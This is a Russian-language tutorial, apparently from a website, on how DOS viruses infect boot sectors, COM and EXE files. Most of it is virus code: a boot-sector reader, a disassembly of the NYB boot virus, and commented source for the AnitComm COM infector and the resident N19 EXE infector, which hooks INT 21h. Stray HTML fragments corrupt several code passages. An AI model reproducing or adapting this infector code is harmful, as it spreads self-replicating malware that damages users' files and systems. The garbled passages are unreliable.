Публикации

« Ассемблерные вставки … | Главная |


Уважаемые посетители сайта, если Вы заметили ошибку в тексте или опечатку, просто выделите этот фрагмент мышкой и нажмите Ctrl+Enter

 Сазонов Д.О.

Пишем вирус и антивирус 


Основы вирусологии

Итак, что же такое ВИРУС и ВИРУСОЛОГИЯ? Предлагаю следующие определение вируса:

Df: Вирус – это специально написанная короткая программа способная нелегально работать на компьютере выполняя определенную задачу и присоединяться к файлам на диске.

В общем единственно важным здесь является то, что во первых вирус – это программа, причем она может быть написана даже на BASIC, а во вторых обычно вирусы присоединяются к другим программам. От чего собственно и пошло их название. А программа к которой присоединился вирус после присоединения считается уже зараженной. Причем, смею заметить, что вирус может присоединиться не только к файлам с расширениями Com и Exe, но и ко многим другим, например, к текстовым файлам или бутсектору компьютера. Но эта особенность не самая страшная в вирусах. Основное зло – их свойство занимать память и портить программы. Например, неграмотно написанный вирус может испортить все программы на диске, но и грамотный вирус если его целью является уничтожение причинит не меньше вреда. Под грамотно написанным

вирусом я подразумеваю вирус написанный опытным программистом имеющим большой опыт в этой области.

В общем все вирусы можно разделить на несколько категорий по способу заражения: загрузочные, файловые, макровирусы, DIR-вирусы, BAT- вирусы, PKT и NUKE – вирусы и шпионы.

ЗАГРУЗОЧНЫЕ ВИРУСЫ

 Вирусы этого класса (также называемые BOOT – вирусами [бут]) записываются в самую первую дорожку винчестера и ждут своего часа. Ждать им приходиться не слишком долго т.к. при каждом запуске компьютера первым делом запускается программа находящаяся именно в этом секторе. Поэтому вирус запускается каждый раз при включении компьютера. Рассмотрим подробнее идею такого способа заражения.

Идея такого заражения заключается в особенности запуска любого компьютера совместимого с IBM. Дело вот в чем: для того чтобы загрузить операционную систему при каждой загрузке BIOS (Basic Input Output System) загружает в память по адресу 0000: 7С00h программу записанную на диске на самой первой дорожке. После чего BIOS запускает эту программу из памяти, а уж эта программа запускает MSDOS или другую операционную систему. Вы спросите: а зачем нужна такая программа? А вот зачем – для каждой ОС (операционной системы) запускаются файлы с разными названиями. Если сделать так, что всегда будут загружаться файлы с одними и теми же именами и в том же порядке – это будет означать, что ПК не сможет работать с другой ОП, например OS/2 или UNIX.  Короче говоря программа в начальном секторе загружает и запускает файл конкретной ОС, которая находиться в данный момент на ПК.

Кроме этой программы в начальном секторе храниться информация о структуре диска – кол-во секторов на дорожку, название диска и т.д.

 Для нас будут интересны здесь только два участка. Первый находится в самом начале. Это два байта – на самом деле это код команды перехода JMPS. В данном случае EB 3E можно перевести как JMPS 000040h эта команда указывает по какому адресу в начальном секторе находится программа загрузки, т.е. 40h.  Вы можете сами посмотреть и прочитать программу загрузки, для этого предлагаю небольшую программу на PASCAL

{Программа считывает нулевой сектор в файл}
var i:integer;
    buf:array[1..64000] of byte absolute $a000:0000;
    f:file;
    c:char;
    w:word;
 begin
   for i:=1 to 1024 do buf[i]:=0;
asm
mov ax,seg(buf)
mov es,ax
mov ah,2  {операция чтения}
 mov dl,3  {диск C}
 mov dh,0  {головка}
              mov cx,1  {цилиндр}
              mov al,1  {читаем один сектор}
                                             mov bx,offset buf
              int 13h
                                            end;
assign(f,'MBR.BIN');
rewrite(f);
blockwrite(f,buf,500,w);
close(f);
end.

Внимание! Ничего не меняйте в данной программе, иначе возможна порча информации.

Итак, алгоритм заражения у бут-вирусов следующий:

1.  Прочитать бут сектор.

2.  Сохранить в свободном пространстве (обычно в самом конце диска) копию сектора. Или же в разделе диска 0/0/2 т.е. в том же нулевом секторе – сразу за кодом вируса.

3.  После чего по адресу куда указывает команда JMPS записать свой код.

После запуска вирусы этого типа производят следующие действия:

1.  Из общего кол-во свободной памяти вычитается длинна вируса. Для уменьшения памяти вирусы обычно используют переменную BIOS, которая находится по адресу 0000: 0413h

2.  В конец памяти записывается код вируса и выполнение продолжается уже из другого участка памяти

3.  Загружается копия оригинального начального сектора на место запуска вируса (к тому моменту он уже скопировал себя в память).

4.  Вирус остается в памяти

5.  Запускается оригинал бут-сектора.

Хорошим примером такого типа вируса может служить довольно известный вирус NYB, которым одно время были постоянно заражены компьютеры ВГПУ (я сам заразиться успел, но вовремя выловил). Приведу только начало:

040: 0E                           push   cs
041: E8AB00                 call   0000000EF
044: 50                           push   ax
045: D1E8                      shr    ax,1
047: FECC                     dec    ah
049: 7403                        je     00000004E
04B: E96C01                  jmp    0000001BA
04E: 53                           push   bx
04F: 51                           push   cx
050: 52                           push   dx
051: 06                           push   es
052: 56                           push   si
053: 57                           push   di
054: 1E                           push   ds
055: 55                           push   bp
056: 8BEC                     mov    bp,sp
058: 08ED                     or     ch,ch
05A: 755B                     jne    0000000B7
05C: D0E0                     shl    al,1
05E: 7227                      jb     000000087
060: E82D01                 call   000000190
063: E81501                  call   00000017B
066: 7255                       jb     0000000BD
068: E8BC00                 call   000000127
06B: 741A                     je     000000087
06D: E82001                 call   000000190
070: E8C800                 call   00000013B
073: 7442                      je     0000000B7
075: FEC4                     inc    ah
077: E80101                  call   00000017B
07A: 723B                      jb     0000000B7
07C: E80301                  call   000000182
07F: E80E01                  call   000000190
082: FEC4                      inc    ah
084: E8F400                   call   00000017B
087: E81401                   call   00000019E
08A: 08F5                      or     ch,dh
08C: 49                           dec    cx
08D: 7528                       jne    0000000B7
08F: E8FE00                   call   000000190
092: E8E600                   call   00000017B
095: 7226                         jb     0000000BD
097: E88D00                    call   000000127
09A: 751B                        jne    0000000B7
09C: E8FF00                call   00000019E
09F: E89900                 call   00000013B
A2: FE4E10                  dec    b,[bp][00010]
A5: 7413                        je     0000000BA  
A7: B001                        mov    al,001
A9: E8CF00                   call   00000017B  
AC: 720F                        jb     0000000BD  
AE: E8ED00                  call   00000019E  
B1: 01FB                        add    bx,di
B3: FEC1                       inc    cl
B5: EB03                       jmps   0000000BA   
B7: E8E400                    call   00000019E  
BA: E8BE00                  call   00000017B  
BD: 9C                           pushf
BE: 5B                            pop    bx
BF: 895E16                     mov    [bp][00016],bx
C2: 874610                      xchg   ax,[bp][00010]
C5: D0EC                        shr    ah,1
C7: 731C                         jae    0000000E5  
C9: 31C0                         xor    ax,ax
CB: 8ED8                        mov    ds,ax
CD: A16D04                   mov    ax,[0046D]
D0: 258F17                     and    ax,0178F
D3: 7510                         jne    0000000E5  
D5: E8B800                    call   000000190  
D8: 50                             push   ax
D9: E89F00                    call   00000017B
DC: 81F1C0FF               xor    cx,0FFC0
E0: D1E0                        shl    ax,1
E2: 58                             pop    ax
E3: 73F3                         jae    0000000D8
E5: 5D                            pop    bp
E6: 1F                            pop    ds
E7: 5F                            pop    di
E8: 5E                            pop    si
E9: 07                            pop    es
EA: 5A                           pop    dx
EB: 59                           pop    cx
EC: 5B                           pop    bx
ED: 58                           pop    ax
EE: CF                           iret

NOTE: Первая колонка цифр – это смещения кода вируса относительно начального сектора, вторая колонка это собственно шестнадцатиричный код вируса, а далее его текст на языке ассемблера.

Файловые вирусы

 Этот тип вирусов является самым распространенным из всех. Вирусы этого типа заражают исполняемые файлы, оверлеи и драйверы. Но это совсем не значит, что если вирус заражает файлы он не может заразить, что либо еще (например бут-сектор или архив). Также часто встречаются вирусы гибриды которые могут заразить как бут-сектор, так и все виды исполняемых файлов. Эти вирусы являются самыми опасными т.к. распространяются с очень большой скоростью и поражают большое кол-во файлов. Такие вирусы называются файлово-загрузочными и рассмотрены здесь не будут. Давайте рассмотрим принцип работы файловых вирусов.

На данный момент Вам уже должны быть известны два типа исполняемых файлов – это файлы с расширением СОМ и ЕХЕ. Чтобы узнать как вирусы их заражают, нам для начала понадобиться усвоить разницу между этими типами файлов, а также принцип их работы.

tc "<new topic>" \l 1xe "Формат Com файла"xe "Заражение COM"COM – это самый простой из исполняемых файлов. Внутри него располагается сразу же сам код программы, но программа не может быть больше 65535 байт. Реально же программа должна быть меньше этого кол-ва байт из-за того, что программе еще требуется место для стека. Также особенностью файлов этого типа является то, что все программы этого типа имеют одинаковый стартовый адрес – 100h (или в десятичной системе 257). В основном программы с расширением СОМ пишут на языке ассемблера в основном для того, чтобы использовать поменьше памяти. Заражение СОМ файла является самым простым из всех.

Идея заражения очень простая. Сначала вирус узнает длину файла и записывает ее в какую нибудь переменную, например V_START. Фактически содержимым этой переменной является последний байт файла. Далее вирус записывает свое тело прямо за программой т.е. V_START+1. Далее вирус переходит на самое начало файла и вставляет туда команду перехода GO TO V_START т.е. делает переход на адрес, где находится его код.

Теперь давайте рассмотрим принцип такого заражения на примере вируса AnitComm. Правда для этого Вам потребуются некоторые знания ассемблера, но я постараюсь все прокомментировать как можно подробнее. Здесь я оставил только алгоритм заражения, остальное стерто.

cseg    segment
Инициализируем сегменты кода и данных
        assume cs:cseg,ds:cseg
Указывает компилятору, что программа должна запускаться с адреса 100h.
        org 100h
Начало программы
start:
Переходим на установку вируса
       jmp begin
Эти данные нам нужны для получения сообщений о проведении установки.
mes1   db 'command.com 0pen ERRoR!',13,10,'$'
mes2   db 13,10,'Install ErroR!',13,10,7,'$'
mes3   db 13,10,'Already InSTAllED!',13,10,7,'$'
Заражать будем Command.com, заносим это имя в переменную FILE
file   db 'c:\command.com',0
_body:
Стандартный метод определения текущей позиции счетчика команд.
См. три строчки ниже. После этого в BP будет находиться адрес команды pop bp.
 call _next
_next:
        pop bp
        sub bp,offset _next
……………….
Здесь находятся процедуры вируса. В случае этого вируса, здесь находились процедуры уничтожения винчестера и BIOS.
………………..
_count:
Далее начианается самое интересное. После того как вирус отработал свое ему надо запустить программу, которую он заразил, причем, чтобы она работала корректно. (см. конец вируса)
В общем теперь вирус восстанавливает ранее сохраненные в буфере 3 начальных байта программы. Раз программа начинается с адреса 100h, то прежние значения надо записать в 100h,101h,102h, что вирус и делает.
        mov al,byte ptr cs:[_buff1+bp]
        mov byte ptr cs:[100h],al
        mov al,byte ptr cs:[_buff1+1+bp]
        mov byte ptr cs:[101h],al
        mov al,byte ptr cs:[_buff1+2+bp]
        mov byte ptr cs:[102h],al
Далее используется довольно хитрый прием запуска программы о котором в двух словах не расскажешь, да и кроме того это выходит за рамки данной темы. Одним словом следующие три строчки полностью аналогичны команде (jmp 100h). Кроме того здесь можно было бы упростить и укоротить программу если бы автор вируса написал так [push 100h; retn].
        mov ax,100h
        push ax
        retn
выделяем массив длинной 1сh (28 байт) для хранения начала заражаемой программы
_buff1 db 1ch dup (0)
Длнна внедраямого куска вируса
_len   equ $-_body
Здесь происходит само заражение
begin:
открываем файл имя которого находится в переменной FILE, для чтения записи, заодно сначала вирус снимает все атрибуты файла (только для чтения, системный, скрытый, архивный)
       mov dx,offset file
       mov ax,4301h
       xor cx,cx
       int 21h
       mov ax,3d02h
       mov dx,offset file
       int 21h
Если не произошло никакой ошибки то переходим на метку _Well    
       jnc _well
Если произошла ошибка печатает сообщение об ошибке которое находиться в переменных mes1 и mes2, затем заражение останавливается и вирус выходит в DOS
       mov ah,9
       mov dx,offset mes1
       int 21h
_badexit:
       mov ah,9
       mov dx,offset mes2
       int 21h
       mov ax,4c01h
       int 21h
Файл открыт успешно
_well:
Вирус узнает дату и время создания файла. После заражения ои
восстановит все как было прежде 
       mov bx,ax
       mov ax,5700h
       int 21h
Проверка на заражение. Данный вирус при заражении ставит во времени создания файла в поле секунды – единицу. А при повторном заражении смотрит, если файл создан в 01 секунду, то он считает его уже зараженным и больше не заражает   
       cmp ch,1
Если файл не заражен то перейти на _noclose
       jne _noclose
Иначе печатаем сообщение mes3 (см. начало вируса) и выходим в DOS
       mov ah,9
       mov dx,offset mes3
       int 21h
       jmp _close
Если файл не заражен, то подготавливаем его к заражению.
_noclose:
для начала вирус считывает первые 28 байт файла в массив _buff1
       mov ah,3fh
       mov dx,offset _buff1
       mov cx,1ch
       int 21h
Затем вирус проверяет какой тип файлов он заражает по сигнатуре MZ (см. про заражение ЕХЕ). Если первые два символа MZ, то вирус считает файл EXE файлом и заражение идет по другому алгоритму.
Так как в этой главе мы рассматриваем заражение только СОМ файлов я убрал из вируса алгоритм заражения ЕХЕ файлов, чтобы он не занимал места. Подобные алгоритмы будут рассмотрены в главе про заражение ЕХЕ файлов. Так как байты в памяти храняться в перевернутом виде вирус сравнивает значения в массиве с 'ZM', а не с 'MZ'.
       cmp word ptr cs:[_buff1],'ZM'
       jne _comt
Если это ЕХЕ файл то выход в DOS
   nbsp;end.nbsp;nbsp;nbsp;асполагается сразу же сам код программы, но программа не может быть больше 65535 байт. Реально же программа должна быть меньше этого кол-ва байт из-за того, что программе еще требуется место для стека. Также особенностью файлов этого типа является то, что все программы этого типа имеaddressnbsp;nbsp;_count:nbsp;ют одинаковый старstrongnbsp;товый адрес ;    int 20h
_comt:
 
Передвинуть указатель к самому концу файла (Аналогия в PASCAL – Seek(f, FileSize(f)) )
       xor dx,dx
       xor cx,cx
       mov ax,4202h
       int 21h
 
В результате выполнения этой функции в DX:AX – новое абсолютное смещение от начала файла. Фактически в регистре AX – находиться длинна файла.
 
       sub ax,3
Вычли из него 3 – столько байт занимает команда Jmp begin (см. Начало вируса). Так как эта команда нужна только при установке вируса, теперь от нее можно избавиться.
Теперь запоминается адрес вируса в переменной _jamp1.
 
       mov word ptr cs:[_jamp1],ax
Записываем в конец файла код вируса (аналог в Pascal – BlockWrite(f, _body, _len));
       mov ah,40h
       mov dx,offset _body
       mov cx,_len
       int 21h
 
Теперь переходим опять в начало файла (Seek(f,0))
       xor cx,cx
       xor dx,dx
       mov ax,4200h
       int 21h
 
Теперь вирус записывает в начало три байта за переменной _Jamp.
Если посмотреть внимательно, то можно заметить, что эта переменная занимает всего один байт, а в файл будет записано еще два после нее.  Сразу после переменной _jamp сразу идет переменная _jamp1, а если посмотрите выше, то увидите что в _jamp1 храниться длинна файла (или же начало вируса).
А в _lamp храниться число  0е9h – это код команды JMP (аналог в Pascal – goto …). Итак, получается что вирус записывает в начало команду jmp и адрес куда перейти – т.е. начало вируса.
 
       mov ah,40h
       mov dx,offset _jamp
       mov cx,3
       int 21h
 
Теперь остается последнее – замести следы.
Для этого восстанавливается дата и время.
       mov ax,5700h
       int 21h
 
А для того, чтобы повторно не заразить файл, вирус устанавливает секунды создания в 1.
       mov ch,1
       mov ax,5701h
       int 21h
 close:
Закрыли файл (аналогия в PASCAL – Close(f))
       mov ah,3eh
       int 21h
 
Вышли в DOS – программа уже заражена.
       int 20h
 
Переменные вируса
hand   dw 0
_jamp  db 0e9h
_jamp1 dw 0
_buff:
Закрываем сегмент
cseg   ends
конец программы (аналогия end.)
       end start
В принципе этот вирус один из самых простых, тем не менее он способен разрушать все данные на диске плюс ко всему уничтожать память Bios – т.е. ту которая остается после выключения компьютера. Кстати говоря уже DrWeb 4.0 его определяет и лечит.

EXE-вирусы

ЕХЕ – на этом типе файлов стоит остановиться и рассмотреть его более внимательно и детально. Размер ЕХЕ файлов может быть любого размера – и это его явное преимущество, но за все надо платить и ЕХЕ расплачивается тем что имеет довольно запутанный заголовок. Кстати говоря, именно благодаря этому заголовку компьютер определяет при запуске программы к какому типу она относиться, а именно если первые два байта содержат буквы MZ значит загружается ЕХЕ файл иначе СОМ файл. Вы можете это проверить на практике. Возьмите выберите любой файл с расширением ЕХЕ и нажмите F3. Первые два символа обязательно будут MZ, иначе этот файл является обычным СОМ файлом, только по каким то причинам его переименовали в ЕХЕ или же файл является испорченным.

Вернемся же теперь к заголовку ЕХЕ файла:

  
Смещение                     Содержимое      
00-01                   Признак ЕХЕ файла. Всегда содержит 4D5Ah (в символьной форме"MZ") по этим двум буквам ПК определяет, что загружают ЕХЕ файл       
02-03          Длина последнего блока. Блоки по 512 байт.
04-05                   Аналогично предыдущему           
06-07                   Кол-во элементов таблицы настройки адресов (Relocation table)       
08-09                   Длинна заголовка в параграфах. 
0А-0В        Минимальный объем памяти  который надо выделить после конца программы ( в параграфах)        
0C-0D        Максимальный объем памяти       
0Е-0F                  Сегментный адрес стека   относительно начала программы (SS)       
10-11          Значение SP при запуске     
12-13                   Контрольная сумма файла (практически не используется)       
14-15                   Значение IP (точка запуска программы)        
16-17                   Значение сегмента кода CS 
18-19                   Адрес первого элемента ТHА      
1A-1B        Hомер сегмента перекрытия (используется только оверлеями)

Для вируса самыми важными полями являются 0E-11,14-17 так именно эти поля показывают с какого адреса будет запускаться программа. Вирусу достаточно настроить их на свое тело и при запуске программы будет запускаться вирус, после чего вирус передает управление исходной программе.

         Алгоритм заражения сводиться к следующему:

1.  открывается заражаемый файл

2.  читается его заголовок в буфер где то в памяти

3.  если он еще не заражен то происходит  заражение иначе выход

4.  сохраняются исходные настройки в коде вируса

5.  делается переход на конец файла, далее по длине корректируется сохраненный в буфере заголовок заражаемого файла.

6.  записывается вирус в конец файла

7.  переходит к началу файла

8.  запись измененного заголовка

9.  выход

Давайте рассмотрим реализацию данного алгоритма на конкретном примере. Для примера возьму примитивный вирус N19, правда DrWeb определяет его как Exe.Tsr.Virus – наверное потому, что из-за простоты этот вирус не распространен. Итак вот его исходный текст:

(Я его немного обрезал, чтобы оставить только самое важное, а именно заражение EXE)

 
f_number:     DW 0                       ;хранилище для описателя файла
              ;
              ;                          ;хранилище для адреса стандартного
saved_int21:  DD 0                       ;  обработчика прерывания 21
              ;                          ;  (2 слова)
              ;
              ;
int21_treater:CMP   AH,4Bh
              JE    begin
              JMP   retro                ;возврат управления стандарт. обра-
begin:        PUSH  AX                   ;  ботчику INT 21h, если не EXEC
              PUSH  BX
              PUSH  CX
              PUSH  DX
              PUSH  DS
              PUSH  ES
              PUSH  DI
              PUSH  SI
              ;-------------поиск конца имени запускаемого файла------------¬
              MOV   DI,DX                                ;имя адресуется   
resend_again: INC   DI                                   ;  DS:[DX] (входной
              CMP   byte ptr DS:[DI],0                   ;  параметр EXEC) 
              JNE   resend_again                         ;                 
              ;--------------------------------------------------------------
              ;----------если не ЕХЕ, то JMP на глобальный POP--------------¬
              CMP   word ptr DS:[DI-2],4558h             ; "XE"            
              JNE   to_no_exe                            ;                 
              CMP   word ptr DS:[DI-4],452Eh             ; ".Е"            
              JE    thats_exe                            ;(JNP short просто
to_no_exe:    JMP   no_exe                               ;  не достанет)   
              ;--------------------------------------------------------------
thats_exe:    ;----------открыть файл для чтения/записи---------------------¬
              MOV   CX,0                                 ;DS:[DX] имя файла
              MOV   AH,3Dh                               ;                 
              MOV   AL,2                                 ;открыть в режиме 
              CALL  call_int21                           ;пиши-читай       
              MOV   word ptr  CS:[f_number-100h],AX      ;                 
              ;--------------------------------------------------------------
              ;-----------прочитать данные из заголовка в свой буфер--------
              PUSH  CS                                       ;             
              POP   DS                                       ;             
              MOV   AH,3Fh                                   ;             
              MOV   DX,OFFSET data_exe - 100h                ;             
              MOV   CX,20h                                   ;             
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              CALL  call_int21                               ;             
              ;--------------------------------------------------------------
              ;-----------проверить, -- заражен ли уже----------------------¬
              CMP   word ptr  DS:[data_exe - 100h + 0Ah],50h ;сигнатура ?  
              JNE   thats_clear                              ;             
              JMP   no_exe                                   ;да -- goodbye!
thats_clear:  MOV   word ptr  DS:[data_exe - 100h + 0Ah],50h ;сигнатура set!
              ;--------------------------------------------------------------
              ;-----------сохранить исходн. настройки ЕХЕ-файла в своем коде¬
              MOV   AX,word ptr CS:[data_exe - 100h + 14h]   ;-T-IP сохране-
              MOV   word ptr CS:[saved_ip - 100h + 1],AX     ;--    ние   в
              MOV   AX,word ptr CS:[data_exe - 100h + 16h]   ;-T-CS коде ре-
              MOV   word ptr CS:[saved_cs - 100h + 1],AX     ;--    зидента
              MOV   AX,word ptr CS:[data_exe - 100h + 10h]   ;-T-SP изменяе-
              MOV   word ptr CS:[saved_sp - 100h + 1],AX     ;--    мых  на-
              MOV   AX,word ptr CS:[data_exe - 100h + 0Eh]   ;-T-SS строек 
              MOV   word ptr CS:[saved_ss - 100h + 1],AX     ;--           
              ;--------------------------------------------------------------
              ;-----------перемещаем указатель к концу файла ---------------¬
              XOR   CX,CX                                    ;             
              XOR   DX,DX                                    ;             
              MOV   BX,word ptr CS:[f_number-100h]           ;              
              MOV   AL,2                                     ;             
              MOV   AH,42h                                   ;в AX,DX--получе-
              CALL  call_int21                               ;на длина файла
              ;--------------------------------------------------------------
              ;---------корректировка длины файла в заголовке---------------¬
              PUSH  AX                                       ;в AX,DX--длина
              PUSH  DX                                       ; файла L     
              MOV   BX,200h                                  ;AX = L div 512
              DIV   BX                                       ;DX = L mod 512
              INC   AX                                       ;              
              ADD   DX,1C3h               ;длина вируса      ;помещаем в сме-
              CMP   DX,200h                                  ; щенный заголо-
              JB    no_add                                   ; вок новую дли-
              INC   AX                                       ; ну файла (см.
              SUB   DX,200h                                  ; формат заго-
no_add:       MOV   word ptr CS:[data_exe - 100h + 2h],DX    ; ловка)      
              MOV   word ptr CS:[data_exe - 100h + 4h],AX    ;             
              POP   DX                                       ;в AX,DX--длина
              POP   AX                                       ; файла L     
              ;--------------------------------------------------------------
              ;---определяем смещение от начала файла (от точки после PSP) -¬
              PUSH  AX             ; до его конца            ;             
              MOV   AX,DX                                    ;             
              MOV   BX,1000h                                 ;AX -- сегмент
              MUL   BX               &nnbsp;nbsp;nbsp; MOVnbsp;nbsp;bsp;      &nbs/addressnbsp;p;   nbsp;;             ;    смещения 
              POP   DX                                       ;DX -- офсет
              ;                                              ;             
              CMP   AX,0                                     ;либо от AX от-
              JE    sub_dx                                   ; нимаем хедер,
sub_ax:       SUB   AX,word ptr CS:[data_exe - 100h + 8h]    ;             
              JMP   short length_got                         ;             
              ;                                              ;             
sub_dx:       PUSH  AX                                       ; -- либо от DX
              PUSH  DX                                       ;В результате 
              MOV   AX,word ptr CS:[data_exe - 100h + 8h]    ; всей этой мо-
              MOV   BX,10h                                   ; роки в AX:DX
              MUL   BX                                       ; получено сег-
              POP   DX                                       ; мент-оффсетн.
              SUB   DX,AX                                    ; смещ-е от на-
              POP   AX                                       ; чала файла  
length_got:   ;------L-наверное это можно было сделать намного изящнее-------
              ;----------корректировка точки начала пересылки (для посадки--¬
              MOV   word ptr CS:[M1 - 100h +1],DX  ;резидента в МСВ-блок)  
              ;--------------------------------------------------------------
              ;-------корректировка CS:IP и SS:SP в смещенном заголовке-----¬
              MOV   word ptr CS:[data_exe - 100h + 14h],DX   ;---IP        
              MOV   word ptr CS:[data_exe - 100h + 16h],AX   ;---CS        
              ADD   AX,50h                                   ;             
              MOV   word ptr CS:[data_exe - 100h + 10h],DX   ;---SP        
              MOV   word ptr CS:[data_exe - 100h + 0Eh],AX   ;---SS        
              ;--------------------------------------------------------------
              ;-------------запись кода вируса------------------------------¬
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   DX,OFFSET my_head-100h                   ;DS:[DX] буфер
              MOV   CX,my_end - my_head                      ;             
              MOV   AH,40h                                   ;             
              CALL  call_int21                               ;             
              ;--------------------------------------------------------------
              ;------------установка LSEEK на начало------------------------¬
              XOR   CX,CX                                    ;             
              XOR   DX,DX                                    ;             
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   AL,0                                     ;             
              MOV   AH,42h                                   ;             
              CALL  call_int21                               ;             
              ;--------------------------------------------------------------
              ;------------запись измененных данных заголовка---------------¬
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   DX,OFFSET data_exe-100h                  ;DS:[DX] буфер
              MOV   CX,20h                                   ;             
              MOV   AH,40h                                   ;             
              CALL  call_int21                               ;             
              ;--------------------------------------------------------------
              ;---------закрыть файл----------------------------------------¬
to_close:     MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   AH,3Eh                                   ;             
              CALL  call_int21                               ;             
              ;--------------------------------------------------------------
no_exe:       POP   SI
              POP   DI
              POP   ES
              POP   DS
              POP   DX
              POP   CX
              POP   BX
              POP   AX
retro:        JMP   dword ptr CS:[saved_int21-100h]
              ;
              ;
call_int21:   ;-------вызов стандартного обработчика INT 21h-(процедура)----¬
              PUSHF                                          ;             
              CALL  dword ptr CS:[saved_int21-100h]          ;             
              RET                                            ;             
              ;--------------------------------------------------------------
              ;
              ;
              ;
              ;
              ;
initial:   PUSH DS                        ;----сохраняем адрес начала PSP
              PUSH ES                        ;----сохраняем ES
              ;--------------проверяем наличие TSR - копии в памяти---------¬
              MOV  AX,40h                    ;                             
              MOV  ES,AX                     ;                             
              CMP  byte ptr ES:[134h],55h    ;                             
              JE   no_tsr                    ;                             
              MOV  byte ptr ES:[134h],55h    ;                             
              ;--------------------------------------------------------------
              ;--------------создаем TSR - копию----------------------------¬
              ; О том как оставлять программу в памяти резидентно я расскажу в отдельной главе,
              ; там же будут описаны MCB  блоки.
              MOV  AX,DS:[02]              ;берем вершину свободной памяти 
              ;                            ; (в параграфах)                
              SUB  AX,30h                  ;уменьшаем ее на 40h (в парагр.)
              ;                                 ;                           
              PUSH DS ;>>                  ;копируем из источника DS:head  
               PUSH CS                     ;копируем в приемник ES:00; в ES
               POP  DS                     ;  - новая вершина  своб. памяти
m1:          MOV  SI,OFFSET my_head           ;                          
               MOV  ES,AX                       ;m1-метка команды с коррек-
               XOR  DI,DI                       ;  тируемым операндом      
               MOV  CX,my_end - my_head         ;                          
               CLD                              ;                          
               REPE MOVSB                       ;                          
              POP  DS ;<<                       ;                           
              ;                                 ;                          
              MOV  BX,DS                        ;                          
              DEC  BX                           ;                          
              MOV  DS,BX                        ;уменьшаем размер МСВ-блока
              SUB  word ptr DS:[03h],30h        ;уменьшаем вершину свободной
              SUB  word ptr DS:[12h],30h        ;  памяти                  
              ;-------------перехват вектора--------------------------------¬
              XOR  BX,BX                                ; сохраняем старый 
              MOV  DS,BX                                ;  вектор          
              ;Кстати говоря довольно грубая работа. Намного проще было бы использовать
              ;32-битную команду XCHG. Я всегда с помощью ее перехватываю прерывание.
 
              MOV  AX,DS:[21h*4+0] ;48Bh                ;                  
              MOV  word ptr ES:[saved_int21-100h+0],AX  ;                   
              MOV  AX,DS:[21h*4+2] ;5BDh                ;                  
              MOV  word ptr ES:[saved_int21-100h+2],AX  ;                  
              ;                                         ;                  
              CLI                                       ; замен. в таблице 
              MOV  word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST
              MOV  word ptr DS:[21h*4+2],ES             ;------>SEGMENT    
              STI                                       ;                  
              ;----------------------------------------------nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;----------------
no_tsr:       ;-nbsp;nbsp;------------переход на начало с реставрацией регистров------¬
              POP  AX                        ;---восстановленный DS        
              MOV  DS,AX                     ;                             
              ADD  AX,10h                    ;---терерь это -- PSP         
              POP  ES                        ;---восстанавливаем ES        
              ;                              ;                             
              CMP  word ptr CS:[00],20CDh    ;нужно лишь для самого первого
              JNE  no_first                  ;  запуска культуры вируса    
              RET                            ;                             
              ;                              ;                             
no_first:     CLI                            ;восстанавливаем стек:        
saved_ss:     MOV  CX,1234h                  ; вместо 1234h сюда при зараже-
              ADD  CX,AX                     ; нии будет записано исходное
              MOV  SS,CX                     ; значение SS                
saved_sp:     MOV  SP,1234h                  ;а сюда, -- исход. значение SP
              STI                            ;L--T--------------------------
              ;                              ;                            
              ;                              ;                            
saved_cs:     MOV  DI,1234h                  ;а сюда, -- исход. значение CS
              ADD  AX,DI                     ;                            
              PUSH AX                        ;                            
saved_ip:     MOV  AX,1234h                  ;а сюда, -- исход. значение IP
              PUSH AX                        ;                             
              RETF                           ;                             
              ;--------------------------------------------------------------
data_exe:     ;
my_end:       ;

В принципе из всего этого текста нас будет интересовать только один кусок. Вернемся к метке thats_clear и рассмотрим все еще раз более внимательно.

Устанавливается признак заражения файла – это байт равный 50h

thats_clear:  MOV   word ptr  DS:[data_exe - 100h + 0Ah],50h

Сохраняет начальные установки EXE файла в своем коде, чтобы потом передать по ним управление заражаемой программе.

Обратите внимание, что из адреса буфера где будут храниться

начальные данные вычитается 100h. Дело в том, что вирус в начале компилируется в виде COM файла, а обязательным правилом любого Com является обстоятельство, что программа должна начинаться с адреса 100h, по этому при заражении его надо вычитать!

              MOV   AX,word ptr CS:[data_exe - 100h + 14h]   ;-T-IP сохране-
              MOV   word ptr CS:[saved_ip - 100h + 1],AX     ;--    ние   в
              MOV   AX,word ptr CS:[data_exe - 100h + 16h]   ;-T-CS коде ре-
              MOV   word ptr CS:[saved_cs - 100h + 1],AX     ;--    зидента
              MOV   AX,word ptr CS:[data_exe - 100h + 10h]   ;-T-SP изменяе-
              MOV   word ptr CS:[saved_sp - 100h + 1],AX     ;--    мых  на-
              MOV   AX,word ptr CS:[data_exe - 100h + 0Eh]   ;-T-SS строек 
              MOV   word ptr CS:[saved_ss - 100h + 1],AX     ;--           
              ;--------------------------------------------------------------
              ;-----------перемещаем указатель к концу файла ---------------¬
              XOR   CX,CX                                    ;             
              XOR   DX,DX                                    ;             
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   AL,2                                     ;              
 В переменной CALL_int21 храниться адрес 21h прерывания, который был до заражения вирусом.
              MOV   AH,42h                                   ;в AX,DX--получе-
              CALL  call_int21                               ;на длина файла
           ;---------корректировка длины файла в заголовке---------------¬
В общем далее вычисляем длину файла, затем прибавляем к ней длину вируса – она равна 1с3h и переписываем значения в заголовке EXE-шника по смещению 2 и 4 (см. Таблицу)
              PUSH  AX                                       ;в AX,DX--длина
              PUSH  DX                                       ; файла L     
              MOV   BX,200h                                  ;AX = L div 512
              DIV   BX                                       ;DX = L mod 512
              INC   AX                                       ;             
              ADD   DX,1C3h               ;длина вируса      ;помещаем в сме-
              CMP   DX,200h                                  ; щенный заголо-
              JB    no_add                                   ; вок новую дли-
              INC   AX                                       ; ну файла
              SUB   DX,200h                                  
no_add:       MOV   word ptr CS:[data_exe - 100h + 2h],DX         
              MOV   word ptr CS:[data_exe - 100h + 4h],AX    ;             
              POP   DX                                       ;в AX,DX--длина
              POP   AX                                       ; файла L     
             ;---определяем смещение от начала файла (от точки после PSP) -¬
